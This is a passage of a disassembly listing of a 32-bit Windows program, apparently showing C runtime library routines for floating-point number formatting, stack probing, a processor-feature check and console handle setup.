		mov	ecx, [ebp+var_8]
		sub	[ebp+var_4], 4
		mov	[esi], al
		mov	eax, [ebp+var_C]
		shrd	eax, ecx, 4
		shr	ecx, 4
		inc	esi
		dec	[ebp+arg_C]
		cmp	word ptr [ebp+var_4], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], ecx
		jge	short loc_41A98C

loc_41A9DF:				; CODE XREF: sub_41A7BD+1D3j
		cmp	word ptr [ebp+var_4], 0
		jl	short loc_41AA37
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_41B3F0
		cmp	ax, 8
		jbe	short loc_41AA37
		lea	eax, [esi-1]

loc_41AA09:				; CODE XREF: sub_41A7BD+25Cj
		mov	cl, [eax]
		cmp	cl, 66h
		jz	short loc_41AA15
		cmp	cl, 46h
		jnz	short loc_41AA1B

loc_41AA15:				; CODE XREF: sub_41A7BD+251j
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41AA09
; ---------------------------------------------------------------------------

loc_41AA1B:				; CODE XREF: sub_41A7BD+256j
		cmp	eax, [ebp+arg_4]
		jz	short loc_41AA34
		mov	cl, [eax]
		cmp	cl, 39h
		jnz	short loc_41AA2E
		add	bl, 3Ah
		mov	[eax], bl
		jmp	short loc_41AA37
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A7BD+268j
		inc	cl
		mov	[eax], cl
		jmp	short loc_41AA37
; ---------------------------------------------------------------------------

loc_41AA34:				; CODE XREF: sub_41A7BD+261j
		inc	byte ptr [eax-1]

loc_41AA37:				; CODE XREF: sub_41A7BD+1BFj
					; sub_41A7BD+227j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_41AA4E
		push	[ebp+arg_C]
		push	30h
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch
		add	esi, [ebp+arg_C]

loc_41AA4E:				; CODE XREF: sub_41A7BD+27Ej
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41AA58
		mov	esi, eax

loc_41AA58:				; CODE XREF: sub_41A7BD+297j
		cmp	[ebp+arg_10], 0
		mov	cl, 34h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 70h
		mov	[esi], al
		mov	eax, [edi]
		mov	edx, [edi+4]
		inc	esi
		call	sub_41B3F0
		xor	ebx, ebx
		and	eax, 7FFh
		and	edx, ebx
		sub	eax, [ebp+var_14]
		push	ebx
		pop	ecx
		sbb	edx, ecx
		js	short loc_41AA92
		jg	short loc_41AA8C
		cmp	eax, ebx
		jb	short loc_41AA92

loc_41AA8C:				; CODE XREF: sub_41A7BD+2C9j
		mov	byte ptr [esi],	2Bh
		inc	esi
		jmp	short loc_41AA9C
; ---------------------------------------------------------------------------

loc_41AA92:				; CODE XREF: sub_41A7BD+2C7j
					; sub_41A7BD+2CDj
		mov	byte ptr [esi],	2Dh
		inc	esi
		neg	eax
		adc	edx, ebx
		neg	edx

loc_41AA9C:				; CODE XREF: sub_41A7BD+2D3j
		cmp	edx, ebx
		mov	edi, esi
		mov	byte ptr [esi],	30h
		jl	short loc_41AAC9
		mov	ecx, 3E8h
		jg	short loc_41AAB0
		cmp	eax, ecx
		jb	short loc_41AAC9

loc_41AAB0:				; CODE XREF: sub_41A7BD+2EDj
		push	ebx
		push	ecx
		push	edx
		push	eax
		call	sub_41B310
		add	al, 30h
		mov	[esi], al
		inc	esi
		cmp	esi, edi
		mov	[ebp+var_10], edx
		mov	eax, ecx
		mov	edx, ebx
		jnz	short loc_41AAD4

loc_41AAC9:				; CODE XREF: sub_41A7BD+2E6j
					; sub_41A7BD+2F1j
		test	edx, edx
		jl	short loc_41AAEB
		jg	short loc_41AAD4
		cmp	eax, 64h
		jb	short loc_41AAEB

loc_41AAD4:				; CODE XREF: sub_41A7BD+30Aj
					; sub_41A7BD+310j
		push	0
		push	64h
		push	edx
		push	eax
		call	sub_41B310
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	edx, ebx

loc_41AAEB:				; CODE XREF: sub_41A7BD+30Ej
					; sub_41A7BD+315j
		cmp	esi, edi
		jnz	short loc_41AAFA
		test	edx, edx
		jl	short loc_41AB12
		jg	short loc_41AAFA
		cmp	eax, 0Ah
		jb	short loc_41AB12

loc_41AAFA:				; CODE XREF: sub_41A7BD+330j
					; sub_41A7BD+336j
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_41B310
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	[ebp+var_10], ebx

loc_41AB12:				; CODE XREF: sub_41A7BD+334j
					; sub_41A7BD+33Bj
		add	al, 30h
		mov	[esi], al
		mov	byte ptr [esi+1], 0

loc_41AB1A:				; CODE XREF: sub_41A7BD+10Bj
					; sub_41A7BD+126j
		cmp	[ebp+var_18], 0
		jz	short loc_41AB27
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AB27:				; CODE XREF: sub_41A7BD+361j
		xor	eax, eax

loc_41AB29:				; CODE XREF: sub_41A7BD+D0j
					; sub_41A7BD+DDj
		pop	ebx

loc_41AB2A:				; CODE XREF: sub_41A7BD+58j
		pop	edi
		pop	esi
		leave
		retn
sub_41A7BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB2E	proc near		; CODE XREF: sub_41AC23+A2p
					; sub_41ACDC+C3p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		mov	ebx, eax
		mov	esi, [ebx+4]
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		dec	esi
		call	sub_40AB59
		test	edi, edi
		jnz	short loc_41AB7B

loc_41AB4E:				; CODE XREF: sub_41AB2E+51j
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40CB08
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_41AB74
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AB74:				; CODE XREF: sub_41AB2E+3Dj
		mov	eax, esi
		jmp	loc_41AC1E
; ---------------------------------------------------------------------------

loc_41AB7B:				; CODE XREF: sub_41AB2E+1Ej
		cmp	[ebp+arg_0], 0
		jbe	short loc_41AB4E
		cmp	[ebp+arg_8], 0
		jz	short loc_41AB9F
		cmp	esi, [ebp+arg_4]
		jnz	short loc_41AB9F
		xor	eax, eax
		cmp	dword ptr [ebx], 2Dh
		setz	al
		add	eax, esi
		add	eax, edi
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0

loc_41AB9F:				; CODE XREF: sub_41AB2E+57j
					; sub_41AB2E+5Cj
		cmp	dword ptr [ebx], 2Dh
		mov	esi, edi
		jnz	short loc_41ABAC
		mov	byte ptr [edi],	2Dh
		lea	esi, [edi+1]

loc_41ABAC:				; CODE XREF: sub_41AB2E+76j
		mov	eax, [ebx+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_41ABC3
		mov	eax, esi
		call	sub_41A52B
		mov	byte ptr [esi],	30h
		inc	esi
		jmp	short loc_41ABC5
; ---------------------------------------------------------------------------

loc_41ABC3:				; CODE XREF: sub_41AB2E+86j
		add	esi, eax

loc_41ABC5:				; CODE XREF: sub_41AB2E+93j
		cmp	[ebp+arg_4], 0
		jle	short loc_41AC0F
		mov	eax, esi
		call	sub_41A52B
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al
		mov	ebx, [ebx+4]
		inc	esi
		test	ebx, ebx
		jge	short loc_41AC0F
		neg	ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_41ABF6
		cmp	[ebp+arg_4], ebx
		jl	short loc_41ABF9

loc_41ABF6:				; CODE XREF: sub_41AB2E+C1j
		mov	[ebp+arg_4], ebx

loc_41ABF9:				; CODE XREF: sub_41AB2E+C6j
		mov	edi, [ebp+arg_4]
		mov	eax, esi
		call	sub_41A52B
		push	edi
		push	30h
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch

loc_41AC0F:				; CODE XREF: sub_41AB2E+9Bj
					; sub_41AB2E+B9j
		cmp	[ebp+var_4], 0
		jz	short loc_41AC1C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AC1C:				; CODE XREF: sub_41AB2E+E5j
		xor	eax, eax

loc_41AC1E:				; CODE XREF: sub_41AB2E+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AB2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC23	proc near		; CODE XREF: sub_41ADD4+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B281
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_41AC73

loc_41AC5B:				; CODE XREF: sub_41AC23+55j
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41ACCD
; ---------------------------------------------------------------------------

loc_41AC73:				; CODE XREF: sub_41AC23+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_41AC5B
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AC83
		or	eax, eax
		jmp	short loc_41AC8E
; ---------------------------------------------------------------------------

loc_41AC83:				; CODE XREF: sub_41AC23+5Aj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx

loc_41AC8E:				; CODE XREF: sub_41AC23+5Ej
		mov	esi, [ebp+arg_C]
		lea	ecx, [ebp+var_2C]
		push	ecx
		mov	ecx, [ebp+var_28]
		add	ecx, esi
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_41B109
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41ACB8
		mov	[edi], bl
		jmp	short loc_41ACCD
; ---------------------------------------------------------------------------

loc_41ACB8:				; CODE XREF: sub_41AC23+8Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_41AB2E
		add	esp, 10h

loc_41ACCD:				; CODE XREF: sub_41AC23+4Ej
					; sub_41AC23+93j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41AC23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACDC	proc near		; CODE XREF: sub_41ADD4+4Ap

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	16h
		pop	edi
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B281
		xor	ebx, ebx
		add	esp, 14h
		cmp	esi, ebx
		jnz	short loc_41AD2F

loc_41AD14:				; CODE XREF: sub_41ACDC+58j
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], edi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, edi
		jmp	loc_41ADC5
; ---------------------------------------------------------------------------

loc_41AD2F:				; CODE XREF: sub_41ACDC+36j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, ebx
		jbe	short loc_41AD14
		mov	eax, [ebp+var_2C]
		dec	eax
		mov	[ebp+var_20], eax
		xor	eax, eax
		cmp	[ebp+var_30], 2Dh
		setz	al
		cmp	ecx, 0FFFFFFFFh
		lea	edi, [eax+esi]
		jnz	short loc_41AD52
		or	ecx, ecx
		jmp	short loc_41AD54
; ---------------------------------------------------------------------------

loc_41AD52:				; CODE XREF: sub_41ACDC+70j
		sub	ecx, eax

loc_41AD54:				; CODE XREF: sub_41ACDC+74j
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_C]
		push	ecx
		push	edi
		call	sub_41B109
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41AD6D
		mov	[esi], bl
		jmp	short loc_41ADC5
; ---------------------------------------------------------------------------

loc_41AD6D:				; CODE XREF: sub_41ACDC+8Bj
		mov	eax, [ebp+var_2C]
		dec	eax
		cmp	[ebp+var_20], eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_41ADA9
		cmp	eax, [ebp+arg_C]
		jge	short loc_41ADA9
		cmp	cl, bl
		jz	short loc_41AD8F

loc_41AD85:				; CODE XREF: sub_41ACDC+AEj
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41AD85
		mov	[edi-2], bl

loc_41AD8F:				; CODE XREF: sub_41ACDC+A7j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_41AB2E
		add	esp, 10h
		jmp	short loc_41ADC5
; ---------------------------------------------------------------------------

loc_41ADA9:				; CODE XREF: sub_41ACDC+9Ej
					; sub_41ACDC+A3j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		push	[ebp+arg_10]
		mov	eax, esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41A564
		add	esp, 18h

loc_41ADC5:				; CODE XREF: sub_41ACDC+4Ej
					; sub_41ACDC+8Fj ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41ACDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADD4	proc near		; CODE XREF: sub_41AE5A+17p
					; DATA XREF: sub_4192DC+37o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		cmp	eax, 65h
		jz	short loc_41AE3E
		cmp	eax, 45h
		jz	short loc_41AE3E
		cmp	eax, 66h
		jnz	short loc_41AE02
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AC23
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41AE02:				; CODE XREF: sub_41ADD4+13j
		cmp	eax, 61h
		jz	short loc_41AE25
		cmp	eax, 41h
		jz	short loc_41AE25
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41ACDC
		jmp	short loc_41AE55
; ---------------------------------------------------------------------------

loc_41AE25:				; CODE XREF: sub_41ADD4+31j
					; sub_41ADD4+36j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A7BD
		jmp	short loc_41AE55
; ---------------------------------------------------------------------------

loc_41AE3E:				; CODE XREF: sub_41ADD4+9j
					; sub_41ADD4+Ej
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A6D1

loc_41AE55:				; CODE XREF: sub_41ADD4+4Fj
					; sub_41ADD4+68j
		add	esp, 18h
		pop	ebp
		retn
sub_41ADD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE5A	proc near		; DATA XREF: sub_4192DCo
					; .data:off_423F60o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41ADD4
		add	esp, 1Ch
		pop	ebp
		retn
sub_41AE5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE7B	proc near		; CODE XREF: sub_41933C+16p
		push	esi
		push	30000h
		push	10000h
		xor	esi, esi
		push	esi
		call	sub_41B40F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41AEA2
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_41AEA2:				; CODE XREF: sub_41AE7B+18j
		pop	esi
		retn
sub_41AE7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEA4	proc near		; CODE XREF: sub_41AEE0:loc_41AF04j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41FE48
		fstp	[ebp+var_10]
		fld	ds:dbl_41FE40
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fdiv	[ebp+var_10]
		fmul	[ebp+var_10]
		fsubr	[ebp+var_18]
		fstp	[ebp+var_8]
		fld1
		fcomp	[ebp+var_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_41AEDC
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41AEDC:				; CODE XREF: sub_41AEA4+31j
		xor	eax, eax
		leave
		retn
sub_41AEA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AEE0	proc near		; CODE XREF: sub_41933C+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41E0CC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41AF04
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_41E0D4
		test	eax, eax
		jz	short loc_41AF04
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41AF04:				; CODE XREF: sub_41AEE0+Dj
					; sub_41AEE0+1Dj
		jmp	sub_41AEA4
sub_41AEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41AF10	proc near		; CODE XREF: sub_403C7D+8p
					; sub_403F55+8p ...
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h

loc_41AF24:				; CODE XREF: sub_41AF10+29j
		cmp	ecx, eax
		jb	short loc_41AF32
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------

loc_41AF32:				; CODE XREF: sub_41AF10+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_41AF24
sub_41AF10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF3B	proc near		; CODE XREF: sub_419FEC+24p
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	3
		push	40000000h
		push	offset aConout	; "CONOUT$"
		call	ds:off_41E05C
		mov	dword_424204, eax
		retn
sub_41AF3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF5A	proc near		; DATA XREF: r69pu5ti:0041E2E0o
		mov	eax, dword_424204
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_41E0C4
		jz	short loc_41AF73
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41AF73
		push	eax
		call	esi	; CloseHandle

loc_41AF73:				; CODE XREF: sub_41AF5A+Fj
					; sub_41AF5A+14j
		mov	eax, dword_424200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AF85
		cmp	eax, 0FFFFFFFEh
		jz	short loc_41AF85
		push	eax
		call	esi	; CloseHandle

loc_41AF85:				; CODE XREF: sub_41AF5A+21j
					; sub_41AF5A+26j
		pop	esi
		retn
sub_41AF5A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF90	proc near		; CODE XREF: sub_41A7BD+102p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_41AFB7
		xor	eax, eax
		jmp	short loc_41AFB9
; ---------------------------------------------------------------------------

loc_41AFB7:				; CODE XREF: sub_41AF90+21j
		mov	eax, edi

loc_41AFB9:				; CODE XREF: sub_41AF90+25j
		cld
		pop	edi
		leave
		retn
sub_41AF90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFBD	proc near		; CODE XREF: sub_41A4D4+15p

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40AB59
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BEFD
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B479
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_41B03A
		cmp	eax, 1
		jnz	short loc_41B025

loc_41B014:				; CODE XREF: sub_41AFBD+87j
		cmp	[ebp+var_18], bl
		jz	short loc_41B020
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B020:				; CODE XREF: sub_41AFBD+5Aj
		push	3

loc_41B022:				; CODE XREF: sub_41AFBD+7Bj
		pop	eax
		jmp	short loc_41B054
; ---------------------------------------------------------------------------

loc_41B025:				; CODE XREF: sub_41AFBD+55j
		cmp	eax, 2
		jnz	short loc_41B046

loc_41B02A:				; CODE XREF: sub_41AFBD+81j
		cmp	[ebp+var_18], bl
		jz	short loc_41B036
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B036:				; CODE XREF: sub_41AFBD+70j
		push	4
		jmp	short loc_41B022
; ---------------------------------------------------------------------------

loc_41B03A:				; CODE XREF: sub_41AFBD+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_41B02A
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_41B014

loc_41B046:				; CODE XREF: sub_41AFBD+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_41B052
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B052:				; CODE XREF: sub_41AFBD+8Cj
		xor	eax, eax

loc_41B054:				; CODE XREF: sub_41AFBD+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41AFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B063	proc near		; CODE XREF: sub_41A4D4+2Ep

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40AB59
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BEFD
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B9BB
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_41B0E0
		cmp	eax, 1
		jnz	short loc_41B0CB

loc_41B0BA:				; CODE XREF: sub_41B063+87j
		cmp	[ebp+var_18], bl
		jz	short loc_41B0C6
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B0C6:				; CODE XREF: sub_41B063+5Aj
		push	3

loc_41B0C8:				; CODE XREF: sub_41B063+7Bj
		pop	eax
		jmp	short loc_41B0FA
; ---------------------------------------------------------------------------

loc_41B0CB:				; CODE XREF: sub_41B063+55j
		cmp	eax, 2
		jnz	short loc_41B0EC

loc_41B0D0:				; CODE XREF: sub_41B063+81j
		cmp	[ebp+var_18], bl
		jz	short loc_41B0DC
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B0DC:				; CODE XREF: sub_41B063+70j
		push	4
		jmp	short loc_41B0C8
; ---------------------------------------------------------------------------

loc_41B0E0:				; CODE XREF: sub_41B063+50j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_41B0D0
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_41B0BA

loc_41B0EC:				; CODE XREF: sub_41B063+6Bj
		cmp	[ebp+var_18], bl
		jz	short loc_41B0F8
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B0F8:				; CODE XREF: sub_41B063+8Cj
		xor	eax, eax

loc_41B0FA:				; CODE XREF: sub_41B063+66j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41B063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B109	proc near		; CODE XREF: sub_41A6D1+96p
					; sub_41AC23+85p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ecx+0Ch]
		jnz	short loc_41B13C

loc_41B11E:				; CODE XREF: sub_41B109+36j
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_41B128:				; CODE XREF: sub_41B109+59j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	loc_41B1C1
; ---------------------------------------------------------------------------

loc_41B13C:				; CODE XREF: sub_41B109+13j
		cmp	[ebp+arg_4], ebx
		jbe	short loc_41B11E
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		mov	[esi], bl
		jle	short loc_41B14E
		mov	eax, edx
		jmp	short loc_41B150
; ---------------------------------------------------------------------------

loc_41B14E:				; CODE XREF: sub_41B109+3Fj
		xor	eax, eax

loc_41B150:				; CODE XREF: sub_41B109+43j
		inc	eax
